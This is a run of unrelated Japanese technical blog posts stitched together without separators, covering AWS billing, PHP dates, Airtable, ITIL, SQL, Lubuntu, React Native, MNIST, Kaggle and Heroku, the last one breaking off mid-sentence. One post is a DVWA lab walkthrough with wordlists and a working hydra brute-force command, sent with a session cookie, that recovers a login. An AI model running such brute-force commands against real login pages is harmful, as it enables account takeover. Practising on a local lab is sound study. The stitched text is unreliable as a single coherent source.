![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/322882/7e6c04ee-d2f5-24c0-9a5a-ccfe53a8bd2d.png)
>  EC2 インスタンスで料金が発生するのはそれを起動している間だけですが、インスタンスに接続されている EBS ボリュームの場合、インスタンスを停止したとしても、情報の保持と料金の発生は継続されます。
（中略）
EBS 関連の課金を停止するには、要らなくなった EBS ボリュームと EBS スナップショットを削除します 。
[インスタンスがすべて停止しているのに EBS に課金されるのはなぜですか。](https://aws.amazon.com/jp/premiumsupport/knowledge-center/ebs-charge-stopped-instance/)

が、EC2のボリュームを見ても「このリージョンにEBS ボリュームはありません。」とのこと。もちろん、インスタンスもありません。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/322882/2798d712-bcc9-bb18-b5ec-e63d462ae061.png)

ただ、ここで何か引っかかりました。「このリージョンに」？？？
ということで、リージョンを変えてみたところ、シンガポールリージョンにボリュームがありました。燦然と輝く「in-use」の文字。
![68747470733a2f2f71696974612d696d6167652d73746f72652e73332e61702d6e6f727468656173742d312e616d617a6f6e6177732e636f6d2f302f3332323838322f34306534323961622d646463322d373263382d396666332d3736633462353834303733342e706e67.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/322882/2af97870-fc6d-0fc5-0dcd-2f6460871c00.png)
前回、インスタンスをシンガポールリージョンで作り、そのままインスタンスを停止しただけにしていたようです。

## 結論

AWSに謎の課金をされている人へ。
インスタンスやボリュームがないと思っていても、リージョンを変えたら出てくるかもしれません。

ちなみに、[こちらの記事](https://qiita.com/Yuji-Ishibashi/items/bb1c0042fd16a9350c5a)でしっかり書かれていました。
PHPで2つの日付値から「何日間？」を求める

2つの日付値から「何日間？」を求めたい。

- 3月8日と3月8日 → 1日間
- 3月8日と3月9日 → 2日間
- 3月8日と3月10日 → 3日間

https://www.google.com/search?q=php+%E7%B5%8C%E9%81%8E%E6%97%A5%E6%95%B0
いろんな方法がありますが、タイムスタンプに換算して86400(60x60x24)で割る方法は使えません。たとえば「3月7日の19時に開催して翌日の正午に終わるイベント」を `3月7日・3月8日` の「2日」に渡って開催されるものとして扱いたくても、86400秒で割る方法だと24時間に満たないため「1日」として判定されるからです。

```php
function days_interval($date1, $date2) {
    return date_diff(
        date_time_set(date_create($date1),0,0)
        , date_time_set(date_create($date2),0,0)
    )->format('%a')+1;
}
```

上記のような感じでどうでしょう？実質一行です。
ふだん使わなさそうな関数をいくつか使ってますが、何をやってるのかは分かりやすいと思います。
`date_create($date1)` でDataTimeオブジェクトを生成して、`date_time_set` で「時」「分」をそれぞれ `0` にしています。

```php
function days_interval($date1, $date2) {
    $start_date = date('Y-m-d', strtotime($date1));
    $end_date = date('Y-m-d', strtotime($date2));
    $days= array();
    do {
        $days[] = $start_date;
        $start_date=date('Y-m-d', strtotime('+1 day', strtotime($start_date)));
    } while ($end_date >= $start_date);
    return count($days);
}
```

改善元のコード。これだと365日あったら365回ループを回してしまう。

**2020年3月9日追記**

`->format('%a')+1` が抜けてました。
DVWAでBruteForce

## 前提
- kali linux環境がある
- DVWAのセットアップ済み（https://qiita.com/KPenguin/items/7e4f1c428c3dadf8591c ）

## 目標
- csrfでpassword奪取

## 手順概要
- 挙動の確認
- brute-forceアタック
- password盗む。

## 内容
### brute-forceとは
- 総当たり攻撃
- ログインリクエストを機械的に送り込む。
- 文字を1つづつ変更し攻撃すれば、絶対にログイン情報が一致する時がくるのだが、時間がかかるので脆弱性のあるログイン情報をまとめたデータを用いてサクッと攻撃されたりもする

### 前準備
- DVWAにログインする
    - 以下コードをkali上で実行しDVWAを立ち上げる。
    - http://localhost/DVWA-master/index.php
    - admin/passwordでログイン
- セキュリティレベルを下げる。
    - メニュー下にあるDVWA securityへアクセス
    - デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する

```shell:
# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start 

```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/bb95d520-1602-b7b8-afa3-85da3ffb651e.png)

- brute-forceにアクセスする（左メニューにある）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/e1f0b733-fc80-6ed1-ffc5-7b29b52317ee.png)


### brute-force開始

- 挙動を確認する
    - 適当にログイン情報を入力してみる。（結果は以下画像）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/69e0113b-452b-626d-1c8c-1175e522da6e.png)


- ログイン動作の挙動から考察する
    - url
        - http://localhost/DVWA-master/vulnerabilities/brute/?username=hoge&password=hoge&Login=Login#。
        - 入力したurlにusernameとpassとloginアクションフラグのクエリが乗っている
        - このことから、これらクエリを乗っけたリクエストを投げることでログイン操作を模擬できることがわかる。
        - ただ、リクエストを投げるだけではログインの可否判定はできない。
    - エラーメッセージ
        - Username and/or password incorrect.
        - ログイン失敗したときのみに表示される文字であり、成功時はこの文字はないだろう。
        - つまり、レスポンスのbody内に上部文字列がなければ成功したことになる

- hydraを使ってbrute-forceを実行する
    - hydraは前述のロジックを良い感じにやってくれる。
    - user.lstとpass.lstの辞書ファイルを準備する（web上に落ちてる。面倒なら自作してもいい）
    - 以下コマンドを実行する
        - 注意点：このページはこのサイト自体にログインされている前提なのでcookieを乗っけること。こcookieがない場合、トップのログインページにリダイレクトされる上レスポンスにはエラーメッセージがない結果、全て成功したように見える。（今回の場合、10.0.0.2で再度ログインし直している）

```shell:
root@kali:~# cat pass.lst 
usr
password
12345678
msfadmin
root
guest
batman
asdfasdf
tomcat
admin

root@kali:~# cat user.lst 
root
sys
msfadmin
admin
user
service
postgres
tomcat

# hydra {domain}　-L {user list file}　-P {password list file} http-get-form {Path}:{query}:{fail message}:H={cookie}
# option は小文字にすると文字列指定。大文字だとファイル指定になる
root@kali:~# hydra 10.0.0.2 -L user.lst -P pass.lst http-get-form "/DVWA-master/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:incorrect.:H=Cookie:security=low; PHPSESSID=ar960cueqgt0o4r6k0b4jta30r"
Hydra............
[80][http-get-form] host: 10.0.0.2   login: admin   password: admin
...........finished

```

- 最後に
    - そもそもログイン情報をクエリに乗せていたら、リクエストを監視さえできれば取れてしまうのではと思った。

おわり
Airtable と FileMaker API連携



[Airtable](https://airtable.com/)は皆さんご存知でしょうか。
AirtableというWebデータベースサービスがあります。
とにかく使いやすい。

難点は英語表記なんですよね。
英語は学生時代から赤点しかとった事無いから、こういうのは少し残念。
まぁ使えたら結局日本語でも英語でも同じだしいいんですけどね。

調べていくと、RESTAPIなので、FileMakerと連携をしてみたい。
あまり出てこないんですよね。こういうの。
もう少し、FileMakerと連携の情報厚くしてほしいですよね。
調べてて思った。

[Airtable API の使い方](https://qiita.com/rex0220/items/f5fc1e167c24da6ccf49)

こちらを参考にさせて頂きました。

めっちゃ簡単！
---
URLとcURLオプションまで、教えてくれてる。
本当にコピペだけで連携できるんじゃないかって思うくらい。
まぁそれだけではなかったんだけど。
苦労話なんてしても読まないからね。誰も。

---
List records の場合

```"-X GET 
-H \"Content-Type:application/json\"  
-H \"Authorization: Bearer YOUR_API_KEY \""
```
バックスラッシュはWindowsの場合半角￥
エスケープしないといけないらしい。
FileMakerしか触った事なかったからエスケープってどういう処理か分からんけど。

URLはBaseごとに変わっちゃうので...
cURLオプションの方を。
2行目だけ気をつけてください。
後はURLから挿入スクリプトを実行すればJSON形式で答えが返ってくるので、
FileMakerに取り込めさえすれば後はご自由に焼くなり煮るなり...

最近になって、もう一度調べてたらFBAの企業がAirtableとの連携載せてるらしい。
私がやってる時に欲しかった。そういう事は...

JSON形式の処理については、もう少し追々載せたいと思います。
応用情報技術者試験　合格への道：サービスマネージメント（前編）

今回は応用情報午後試験対策、サービスマネージメントについて攻略していきます。

サービスマネージメントを理解するうえでITILが有効ということで「新人ガール ITIL使って業務プロセス改善します!」を2回に分けてレポートしていきます。

サービスマネージメントの午後対策のやり方がよくわかっていなかったのですが、ITILの勉強がいいよと勧められ読んでみました。確かにこの辺りを理解していると午後試験に対応できると思います！

https://www.amazon.co.jp/%E6%96%B0%E4%BA%BA%E3%82%AC%E3%83%BC%E3%83%AB-ITIL%E4%BD%BF%E3%81%A3%E3%81%A6%E6%A5%AD%E5%8B%99%E3%83%97%E3%83%AD%E3%82%BB%E3%82%B9%E6%94%B9%E5%96%84%E3%81%97%E3%81%BE%E3%81%99-%E6%B2%A2%E6%B8%A1-%E3%81%82%E3%81%BE%E3%81%AD/dp/4863541708/ref=as_sl_pc_qf_sp_asin_til?tag=fishheadpm0c-22&linkCode=w00&linkId=6412b17c629c93f57783ad0f1da672a1&creativeASIN=4863541708


#●第1章　ITILって何だろう？

##・ITIL概要

**・ITサービスを適切なコストで、適切な労力で、適切な品質で回すためのやり方を示した「ガイドライン」「お手本」のようなもの。**
　サービスマネージメントのフレームワーク

**・現状は第3版が最新(改版作業は2004年より開始、2007年に書籍がリリース)**

##・ITIL登場人物

**・顧客**
　　→お金を出している人たち

**・サービスプロバイダ**
　　→サービスを提供する人たち

**・ユーザ**
　　→利用している人たち

**・サプライヤ**
　　→支援している人たち（社外）

**・サービスの定義**
　　→サービスとは顧客に特定のコストやリスクを負わせることなく、顧客に価値を提供する手段である
　　　サービス　＝　有用性　+　保証

##・5つのアプローチ
①サービスストラテジ
　　全体方針や戦略
②サービスデザイン
　　業務設計
③サービストランジション
　　運営準備
④サービスオペレーション
　　実際の業務の運営
⑤継続的サービス改善
　　業務の運営状況の測定と報告、改善サポート

①やること決めて、②どれくらいやるのか決めて、③実際にやるための準備をして、④やって、⑤改善する

ITILは上記①~⑤のサイクルを回すやり方を示したもの

##・ITILを適用するメリット
　「全部やらなくていい」、「必要なところだけ適用」すればよい。

##・プロセスの定義
　　特定の目標を達成するための一連の活動

##・プロセスの特徴
　　インプットとアウトプットがある
　　顧客などのステークスホルダーがいる
　　活動の状況が測定可能である


#●第2章　組織の目標に合った業務内容になっているか？～サービスストラテジ～

##・ビジョンと目標の確認
　　整合のとれた業務（サービス）設計を行う重要性

##・サービスポートフォリオ管理
　ビジネス目標に沿って、業務（サービス）の過不足を確認し、「選択」「集中」及び「力加減」を適切に行うための考え方
　現在および将来において必要な業務（サービス）がそろっているか？と俯瞰しコントロールする活動。
　
**サービスカタログを作成する**
　サービスカタログに記載された各サービスに対する優先度や方向性を明確にする
　この二つについて顧客との合意をとる

　やっていることをリスト化して、強化したり新設したりやめたりを検討して顧客と合意する

##・需要管理
　　やりもれ、やりすぎをコントロールする

　過去の需要を把握する
　未来のイベントを把握し需要を予測する
　必要なリソースやキャパシティを見積もる
　キャパシティコントロールまたは上のコントロールを策定し顧客に提案する

　予測のためのインプット
　過去のサービス要求件数　→　要求実現
　過去のインシデント件数　→　インシデント管理
　将来のサービス計画　→　サービスポートフォリオ管理

##・財務管理
　　サービス提供にかかるコストを可視化し、需要及び費用対効果に見合った投資コントロールを目指します

　サービスごとの費用内訳を明確にする
　投資対効果を明確にする
　課金の仕組みも取り入れてみる
　月別の実績管理をする

#●第3章　業務内容とレベルを定義しよう～サービスデザイン～

##・サービスカタログ管理
　　サービス内容を一元管理できる
　　サービス内容、優先度、サービス提供条件などを顧客と合意することができる
　　サービスの方向性と顧客のビジネスニーズとの整合をとりやすくなる
　　トラブル時の迅速かつ的確な意思決定をしやすくする
　　顧客に予算請求する根拠を明確にできる

##・サービスレベル管理
　　サービスレベル案の検討
　　サービスレベルの顧客との合意
　　サービスレベルのサプライヤとの合意
　　SLAの定期的な見直し

##・可用性管理
　　SLAの確認
　　可用性の目標値の設定
　　現状把握、リスク分析
　　可用性向上のための活動計画策定と実行

**アウトプット**
　　可用性目標値
　　可用性向上のための活動計画

##・キャパシティ管理
　　SLAの確認
　　ビジネス計画の確認
　　キャパシティ目標値の設定
　　現状把握、需要分析
　　キャパシティ向上、増強のための活動計画策定と実行

##・サービス継続性管理
　　コンティンジェンシープラン(Contingency plan)は「どうやって被害を抑えるか」が観点
　　BCP（Business Continuity Plan）は「いかにして事業を続けるか」が観点　　

##・情報セキュリティ管理
　　**CIA**
        　Confidentiality（機密性）権限がある人のみ閲覧可能なこと
　　　Integity(完全性)　情報が完全かつ正確で許可されていない修正から保護されている
　　　Avaiability（可用性）必要な時に情報がいつでも入手、利用可能であること

　　全社情報セキュリティポリシーとビジネスニーズの確認
　　脅威、リスクの特定
　　方針、ルールの策定
　　定常的な運用
　　改善、是正

##・サプライヤ管理
　　サプライヤ戦略、方針の策定または確認
　　委託条件の定義、サービスレベルの定義
　　サプライヤの選定（または見直し）
　　契約締結、SLA締結
　　サプライヤのパフォーマンス評価と改善、是正
　　サプライヤ情報データベースの構築と維持管理

#■最後に

今回はここまで。次回4章以降をレポートします！

後編はこちら！
https://qiita.com/fish_head_pm/items/a482cd46926c619501ba
【SQL】曖昧検索

たまに触るRedashで曖昧検索のやり方を何度か調べている気がしたので、備忘録（あるいは自戒）として。

SQLでは、like句を使用することで列（カラム）に対しての文字列検索が可能となる。

##完全一致

```sql

select 列名 
from テーブル名
where 列名
like '検索文字'
```

##部分一致（曖昧検索）

```sql

select 列名 
from テーブル名
where 列名
like '%検索文字%'
```
とすると部分一致（ワイルドカード検索）が可能。


[参考：【SQL】意外と簡単!これならわかるLIKE句でのあいまい検索](https://www.sejuku.net/blog/73619)
Lubuntu 18.04.4 LTS セットアップ

個人利用向けにLinuxをインストールするとき、Lubuntuをよく使っています。記憶だけでセットアップすると一部の手順を忘れてしまいがちです。そのため、いつも行うセットアップ手順をまとめました。

但し、私的メモなので、多少端折って書いています。また、足りないものが見つかれば追記するかもしれません。

# ISOイメージ

使用するファイルは"lubuntu-18.04.4-desktop-amd64.iso"です。

バージョンは18.04.4 LTSです。LTS(Long Term Support)版のため、サポート期限が2021年4月、1年近く残っているバージョンになっています。但し、いつものパターンだと、来月あたりに次のLTSがリリースされそうです。

# 想定環境

VirtualBoxやVPSへのOSインストールを想定しています。以降の説明では、VirtualBoxには6.1.4を使用している想定です。

# セットアップ手順

## ハードウェアリソースの割り当て(VirtualBox用)

メモリは、コンソール用途で1GB程度、GUI用途で2GB以上を目安に割り当てます。

ネットワークには、VirtualBoxの場合、王道のNAT+HostOnlyを割り当てます。HostOnlyはDHCPサーバーを有効化してあります。

オーディオはOFFします。

## OSインストール

言語選択で"日本語"を選択して"Lubuntuをインストール"します。ほとんどデフォルトのまま進めます。

途中、コンピューター名やユーザー名などの入力には、適宜目的に合わせた値を設定します。以降の説明では、ユーザー名に"linuser"を指定したものとして進めます。

VirtualBoxの場合は、"自動的にログインする"を選択します。

インストール完了後、再起動を行います。

## 管理者アカウントの作成

管理者アカウントの作成や設定を忘れている場合は、以下のコマンドで管理者アカウントの作成と"sudo -s"の利用許可を設定します。

```
useradd -m linuser
passwd linuser
grep ^root /etc/sudoers | sed 's/root/linuser/' > /etc/sudoers.d/linuser
chmod 0440 /etc/sudoers.d/linuser
visudo --check
```

## ソフトウェアの更新

ログイン後、ソフトウェアの更新が促されます。更新を行っておきます。

更新内容によっては改めて再起動を促されます。リリース後1年経過している今は、再起動が必要です。

## 日本語フォルダの英語化

```
LANG=C xdg-user-dirs-gtk-update
```

設定変更後は、念のために再ログインします。

## OpenSSHサーバーのインストール

```
sudo apt-get install openssh-server
sudo vi /etc/ssh/sshd_config
sudo systemctl restart sshd.service
```

sshd_configの編集は、LISTENアドレスやポート番号の変更です。

## ufwの設定(VPS用)

VPSの場合、ufwの設定を行います。VPSの各サービスはSSHポート転送越しで利用します。そのため、許可するのはSSHポートのみです。

VirtualBoxでは、ufwを設定しません。

```
sudo ufw status numbered
sudo ufw enable
sudo ufw allow *****/tcp
sudo ufw status numbered
sudo ufw start
```

加えて、VPSがfirewall機能を提供している場合、VPSでもfirewallを設定します。

## 日本語まわりの設定

不完全な言語サポート状態を解消しておきます。"設定"＞"言語サポート"からインストールを行うことで、解消が可能です。

バージョン次第で、以下の対応が必要かもしれません。バージョン18.04.4では不要でした。
参考情報 https://kledgeb.blogspot.com/2018/10/lubuntu-1810-11.html

```
sudo apt install language-pack-ja firefox-locale-ja libreoffice-l10n-ja libreoffice-help-ja fonts-noto-cjk-extra fonts-noto-color-emoji fonts-noto fcitx-mozc
```

## VirtualBox Guest Additionsのインストール(VirtualBox用)

Guest Additions CDをマウントした後、以下のコマンドを実行します。

```
sudo apt-get install gcc make perl
cd /media/linuser/VBox_GAs_6.1.4/
sudo ./VBoxLinuxAdditions.run
```

コマンド実行後、再起動を行います。

## 自動ログオン設定(VirtualBox用)

インストール時に指定を忘れた場合は、ファイル"/etc/lightdm/lightdm.conf.d/autologin.conf"を作成します。

```
[Seat:*]
autologin-guest=false
autologin-user=linuser
autologin-user-timeout=0
```

## 電源管理設定

仮想やVPSに電源管理は不要です。

"システムトレイアイコン"をOFFに設定します。

ディスプレイの"ブランク画面～時間"、"スリープ～時間"、"電源を切断～時間"をいずれもなしに設定します。

画面ロックなしに設定します。

## その他、画面まわりの設定

仮想やVPSにBluetoothデバイスは不要です。システムトレイからBluetoothを除去します。

大抵の場合、LXTerminalへのショートカットをデスクトップに作成しています。

# まとめ

大体こんな感じのセットアップをしています。次のLTSが出たら、またまとめようと思います。
【C#備忘録】データ型

※この備忘録は初学者の私が学習した内容を忘れないために書き起こしたものとなります。

##データ型とは
文字や数字を変数に代入する際、その変数の中身が「これは文字ですよ～」とか、「これは数字ですよ～」ということが分かるように、事前に「データの型」宣言しておく必要がある。

ただし現在私が学習している段階では、変数名の前に**var**を記載すれば、その変数に代入されたモノに応じて程よく判断してもらえる。
例えば。。。
`var num = 0;`→変数numの中身は数字であると判断してくれる。
`var member = "たかし"`→変数memberの中身は文字列であると判断してくれる。


##varを用いない場合
変数宣言をする際、**var**を用いない場合は、下記を使用して変数の型を宣言する。

- 数字 …**int**
- 文字列 …**string**

また、文字列を代入する場合は、その文字列を必ず`""`(ダブルクォーテーション)で囲う必要があるので注意！
React Native × Atomic Design で効率よく開発する

# Atomic Design とは
[Atomic Design](https://bradfrost.com/blog/post/atomic-web-design/) をご存知でしょうか。
公式には Atomic Design はデザイン自体の名前ではなく、方法論として紹介されています。

Atomic Design では、下記5つの構成要素が登場します。
1. Atoms（原子）
2. Molecules（分子）
3. Organisms（構造体）
4. Templates（テンプレート）
5. Pages（ページ）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/43625/e3822111-9458-95a1-1fc5-2d2d7f0356f9.png)

私は今、フロントエンド開発に React Native を利用していますが、コンポーネントベースで記述するため、 Atomic Design と親和性が高いと感じています。

各要素の粒度は議論があると思いますが、ここでは私の参加するプロジェクトでの粒度を紹介したいと思います。

## Atoms
原子は基本となるコンポーネントです。
公式だと、 HTML のタグや、フォームのラベル、インプット、ボタンなどが例として紹介されています。

私の職場だと、もう少し粒度が粗く定義されています。用途ベースで自分たちなりの粒度を採用しています。
我々の使用する一部のコンポーネントを紹介します。

#### Box
エリアを定義するベースとなるコンポーネントです。
`View`を自分たちの使いやすいようにカスタマイズしています。

#### Icon
アイコンです。
`react-native-vector-icons`を使用しています。
`props`で FontFamily を渡す形にしているので、使うたびに対象のフォントをインポートしなくて済みます。

#### Text
テキストです。テキスト横にアイコンを表示することも可能です。
`Text`、`Icon`を利用しています。
Atom + Atom のため、 Molecules じゃないかとも考えられますが、用途として文字の横にアイコンを添えたいケース（重要情報の i マークなど）が多く、このような形を採用しました。

#### Button
クリック可能なボタンのコンポーネントです。
`Box`、`Icon`、`Text`をラップしています。

#### Input
主にフォームで使用されるテキストインプットです。
`TextInput`、そして上述の`Box`、`Text`を利用しています。

#### Anchor
クリック可能なテキスト・アイコンです。
`onPress`でクリックイベントを渡すことができます。
`Box`、`Icon`、`Text`を利用しています。

#### Page
各ページのフォーマットを合わせるため、`Page`コンポーネントを設けています。
`Box`を利用しています。

## Molecules
一般的には Atom + Atom で構成されます。
公式だと、フォームラベルやインプット、ボタンを組み合わせたテキストフォームのひとかたまりが例として挙げられています。

実際に利用しているコンポーネントを紹介します。

#### Row
左寄せでラベル、右寄せで内容を表示します。
連続して使えば、テーブルコンテンツのように利用することができます。

#### Section
見出しと、本文を表示します。
本文は折りたたんで非表示にすることができます。

#### RadioButton
チェックボタンとテキストを表示します。
クリックでチェックのオンオフが可能です。

#### Card
エリアの中に、タイトル、テキストやその他コンポーネントを表示します。

## Organisms
一般的には Molecule + Atom/Molecule で構成されます。
公式だと、メニューバー（Molecules）とテキストフォーム（Molecules）をひとまとめにしたヘッダーメニューが紹介されています。

実際に利用しているコンポーネントを紹介します。

#### Field
我々は、フォームでは [formik](https://jaredpalmer.com/formik) を活用しています。
`Field`では、 Atoms や Molecules を読み込んで、共通の余白を設けたり、エラー時の色を変えたりと、フォームとして使える形に整形しています。

## Templates、 Pages
各ページの雛形と、実際のページ要素がこれにあたります。
プロジェクトに特化した、再利用できないコンポーネントになります。

# おまけ
我々が`Text`や`Button`もカスタマイズして Atoms とした背景は、多言語化の背景もあります。
現在扱っているプロジェクトでは、英語・中国語繁体字・中国語簡体字でサービスを提供しています。

そのため、

```tsx
<Text i18n="translation-key" ... />
<Button i18n="translation-key" ... />
```
といった形で利用できるコンポーネントを定義する必要がありました。

# おわりに

Atomic Design の粒度はプロジェクトによって変わるかと思います。
プロジェクトを進めるうちにこれは Atoms じゃないか、これは Molecules じゃないかと、変化したコンポーネントもあります。
あくまでも方法論なので、自分たちにあった粒度を定義し、効率よく進めることが大切なのかな、と思います。


皆さんの活用している粒度なども教えて頂けると幸いです。
HTMLとCSSでモーダルを作る際のinputタグとforの関係について

30daysトライアル2ndのDay22のモーダルを作る
という課題で自作のモーダルを作るときにとても大切なinputとforについて理解したので備忘録として以下にまとめます◎
参考にしたのは
https://haniwaman.com/css-modal-drawer/#i-4
こちらの記事です 

forは
 inputにチェックを入れられるor外す物を指定できる

簡単に言い換えると…
for="" は　input のチェックを外すスイッチみたいなもの。いくつも指定できる
スイッチを押すとinputのチェックが外れる

ルールは…
・inputにチェックを入れたいときにfor="inputのID"を指定すればOK
・forでinputにチェックを入れたい場合divではなくlabelにしないといけない


cssには『#inputのID』:checked:（『#inputのID』にチェックが入ったら、
『#inputのID』 が〇〇される
例：
#nav-input:checked ~ #nav-close {
                        display: block;/*カバーを表示*/
                        opacity: .5; 
                      }

〇〇を押すと非表示になる設定は『for="nav-input"』で〇〇を押したらチェックが外されるように指定するとできる
多層パーセプトロンでMNIST(手書き数字)の画像分類を行う

#はじめに

　koshian2さんが書かれた「モザイク除去から学ぶ　最先端のディープラーニング」内の演習問題として、多層パーセプトロンによるMNIST分類がありました。今回、自身の理解を深めるためにまとめたいと思います。
https://qiita.com/koshian2/items/aefbe4b26a7a235b5a5e

要点としては下記になります。

+ 多層パーセプトロンでのMNISTの分類
+  画像分類での説明変数の意味
+ 中間層での活性化関数
+ タスクによる損失関数の違い


#多層パーセプトロンとは

　多層パーセプトロンとは、入力層と出力層の間に**中間層**と呼ばれる層があるネットワークのことです。

![002.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/567823/546afebb-e52d-8e31-1fd1-8b77b0f5d396.png)

　回帰を行う際は最小二乗法、分類を行う際はロジスティク回帰という手法が知られています。これら手法はデータ数を増やしたとしても、精度が挙げられないという課題があります。
　このデータ数の多さを活かすために、中間層と呼ぶ層を入力層と出力層の間に入れることで精度を上げていく手法が多層パーセプトロンになります。

　
#プログラムの中身について
#MNISTデータの取得

```python:mnist.ipynb

import tensorflow as tf
import tensorflow.keras.layers as layers

(X_train,y_train),(X_test,y_test)=tf.keras.datasets.mnist.load_data()
#X_train,y_train ：訓練データ
#X_test, y_test  ：テストデータ

```

　kerasのデータセットから直接訓練データとテストデータを読み込みました。よく大本の訓練データの中からテストデータを作るために、train_test_split関数を用いて分類したりしますが、今回はこれをせずに読み込めるので楽ですね。

#次元の確認

```python:mnist.ipynb

print(X_train.shape,y_train.shape)
print(X_test.shape,y_test.shape)

```
(60000, 28, 28) (60000,)
(10000, 28, 28) (10000,)

　28×28の訓練画像データが60000枚、28×28のテスト画像データが10000枚あることが分かります。


#多層パーセプトロンモデルの定義

```python:mnist.ipynb

inputs = layers.Input((28,28))
x = layers.Flatten()(inputs)
x = layers.BatchNormalization()(x)
x = layers.Dense(128, activation='relu')(x)
x = layers.Dense(10, activation="softmax")(x)
outputs = x
model = tf.keras.models.Model(inputs, outputs)

```

この記述で言わんとしていることは下記になります。

1. 28×28の入力層として定義
2. 28×28を平準化して784次元とする
3. 784次元を128次元の中間層としてReLU関数により変換
4. 出力層としてsoftmax関数により10次元へ変換

層を修正したければ1行変えれば良いだけなので、非常にわかりやすいと思いました。


#モデルのコンパイル

```python:mnist.ipynb

model.compile('adam', 'sparse_categorical_crossentropy',['sparse_categorical_crossentropy'])

```

ここでは、最適化手法、損失関数、評価関数を決めます。

　最適化手法とは、損失関数の値をできるだけ小さくするパラメータの値を見つける手法のことを言います。よく使われているAdam法を今回は適用しています。

https://www.slideshare.net/MotokawaTetsuya/optimizer-93979393
https://qiita.com/ZoneTsuyoshi/items/8ef6fa1e154d176e25b8

　損失関数はCategorical Cross Entropyを使用します。この式は次のような式になります。

$$CCE(y_{true}, y_{pred})=-\frac{1}{N}\sum_{i=1}^N\sum_{j=1}^M y_{true}^{i, j}\log y_{pred}^{i, j}$$

ここで、$N$はサンプル数、$M$はクラス数を示します。MNISTで予測するのは各クラスの確率になります。所謂最小二乗法で扱う誤差関数は価格を予測するうえでは向いていますが、確率を扱うことは慣れていません。

　最後に評価関数です。これは、最適化には使わない訓練の進みを可視化するための関数で、あると便利です。


#訓練・予測プログラム実行とその予測結果

```python:mnist.ipynb
#モデルの訓練
model.fit(X_train,y_train, validation_data=(X_test, y_test),epochs=10)

#モデルの予測
y_pred_prob= model.predict(X_test)
y_pred = np.argmax(y_pred_prob, axis=-1)

#結果の出力
fig = plt.figure(figsize=(14,14))
for i in range(100):
    ax = fig.add_subplot(10,10,i+1)
    ax.imshow(X_test[i],cmap="gray")
    ax.set_title(y_pred[i])
    ax.axis("off")
```

　モデルの予測について、予測値は確率になります。従って、ラベル（０～９）に変換するためにargmax(確率が最大となるようなインデックス値）を取ります。


![003.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/567823/cbc98804-ff41-5df5-3be3-b513bd9dd53f.png)

予測が上手くいっていることが分かりますね。
以上の手法が、多層パーセプトロンモデルによるＭＮＩＳＴの画像分類になります。

　多層の組み方やモデルのコンパイル等はまだまだ奥が深く他の事例や論文等をよく学んで体感していきたいと思います。



コード全文はこちらにアップしておきます。
https://github.com/Fumio-eisan/minist_mlp20200307
貿易統計を学び合う会 （資料） 準備(kaggle jupyter notebook)


[学び合う会 #貿易統計](https://www.kaggle.com/zanjibar/manabiai-2/)は、kaggle を使って貿易統計の分析をします。個人が用意する環境としては、ブラウザだけでいいです。そこで、kaggle の使い方を最低限知っておく必要があります。

# Kaggle を使って、データ集計できるのが　学び合う会のミニマムの学習目標です。ブラウザだけで完結します。ＰＣの設定不要です

### [アカウントつくる](https://www.kaggle.com/account/login?phase=startRegisterTab&returnUrl=https%3A%2F%2Fwww.kaggle.com%2F)（わからない場合は、[参考](https://note.com/pilovoliq/n/n510541099fc0)などを見てつくってください）
- google,facebook で登録するのが楽です。
- 電話番号（ＳＭＳ）を登録すると、データのアップロードができます。
- 20G までデータアップできるみたいなんで、大きなデータアップの場合は使えます。

### jupyter notebook を使う（発音は、ジュピターもしくは、ジュパイターです。ジュピターが多いみたい）
- 貿易統計の集計に、jupyter notebookを使います。
- jupyter notebook は、python の実行環境です。(本当はもっと機能あるけど、とりあえずこうだと思ってください)
- まず、コピーして使います。（できるだけ手抜きしましょう。）
- [学び合う会 #貿易統計](https://www.kaggle.com/zanjibar/manabiai-2/)を開いてい画像の赤い楕円で囲んだ部分をクリック
 ![mana_200307_01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/48387/dc330711-a67e-6a44-c78a-e97c8536dcad.png)
- コピーされるとfork-of-manabiai-2 という名前の notebook が自分のアカウントに作成されます。
- コピーできたら、**名前の変更**してみましょう。タイトルのfork-of-manabiai-2にカーソル合わせると編集できます。
- コピーできたら、**不要な部分をまず削除**です。『これから先には、教材ごとのセル（スクリプトを書きます）』より下のセルを削除してください。一括ではできないので、一個ずづお願いします。（全部できるのかもしれませんが、すみませんしりません）
 - これで、上部メニューバー　のRun All をします。これで、データが使えるようになります。
 - 一番下にいって、Code がでてきたら、クリックして、空白のセルをつくってください。1+2 をいれて実行（セルの右　矢印を事項、CTRL + リターンでもいけます。）します。3になりますね。この仕組みは、jupyter notebook というものです。セルごとにプログラムを実行できます。便利ですが、どのセルを実行したのかがわからなくなるので注意が必要です。
 - あとは、教材として提示してあるセルをコピペして、セルを実行です。適当にパラメータ変更すればいろいろできます。（すみません、その部分はいま作成中です。）
 - できあがったら、保存(save)します。
 - 教材は、全部入りを提示して、不要部分を削除、必要箇所変更というポリシーでつくっています。
【Application Error】Herokuでアプリをリリースしたらエラーが出た件 #1（備忘録）

# 【Application Error】Herokuでアプリをリリースしたらエラーが出た件（備忘録）

```terminal:terminal
> git push heroku master
```
を打ち、Deploye... doneと出るにも関わらず、
アプリのURLを叩いても、Application Errorとでる！
やってらんない！

上記のコマンドを打った際に、複数あるWaringの中に以下のようなことが記載

```terminal:terminal
You have the `.bundle/config` file checked into your repository
It contains local state like the location of the installed bundle
as well as configured git local gems, and other settings that should
not be shared between multiple checkouts of a single repo. Please
remove the `.bundle/` folder from your repo and add it to your `.gitignore` file.
https://devcenter.heroku.com/articles/bundler-configuration

```
言われている通り、.bundle/configを抹消し、
新たに.gitignoreのファイルを生成し、.bundle/configに書いてあった、

```terminal:terminal
BUNDLE_WITHOUT: "production"
```

